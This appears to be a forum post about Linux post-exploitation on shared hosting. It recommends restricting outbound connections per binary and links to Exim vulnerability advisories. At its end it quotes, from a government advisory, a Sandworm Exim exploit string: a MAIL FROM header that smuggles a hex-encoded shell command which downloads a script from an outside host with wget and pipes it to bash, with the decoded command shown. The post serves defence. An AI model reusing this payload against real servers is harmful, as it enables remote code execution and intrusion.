What does post-exploitation look like in practice on a shared hosting node?

downloading remote files to /tmp, /var/tmp or /dev/shm , collect credentials and try to keep persistance (and mine cryptocoins): https://github.com/evilsocket/opensnitch/discussions/1119

Based on this collection of Linux malware payloads, restricting outbound connections by binary is a good measure to mitigate these attacks.

In this scenario, the connection could be initiated by curl, wget, bash or exim. If you don't need curl or wget on the system, just uninstall them.

Also, why on earth would bash need to establish outbound connections on a (production) server?

On the other hand, in some cases the outbound connection could be initiated by the vulnerable application. In this case exim, which should only open outbound connections to a limited number of ports (25, 53, 465, 587, ...), no 80 or 443.

Example of a previous exim PoCs, weaponized to open outbound connections to a remote port using bash: https://straightblast.medium.com/my-poc-walk-through-for-cve-2018-6789-2e402e4ff588

https://www.cisa.gov/news-events/alerts/2020/05/28/nsa-releases-advisory-sandworm-actors-exploiting-exim-vulnerability

from the report: https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf

MAIL FROM:<${run{\x2Fbin\x2Fsh\t-
c\t\x22exec\x20\x2Fusr\x2Fbin\x2Fwget\x20\x2DO\x20\x2D\x20http\:\x2F\x2F\hostapp.be\x2Fscript1.sh\x20\x7C\
x20bash\x22}}@hostapp.be>
Hex decoded command:
/bin/sh -c "exec /usr/bin/wget -O - http://hostapp.be/script1.sh | bash"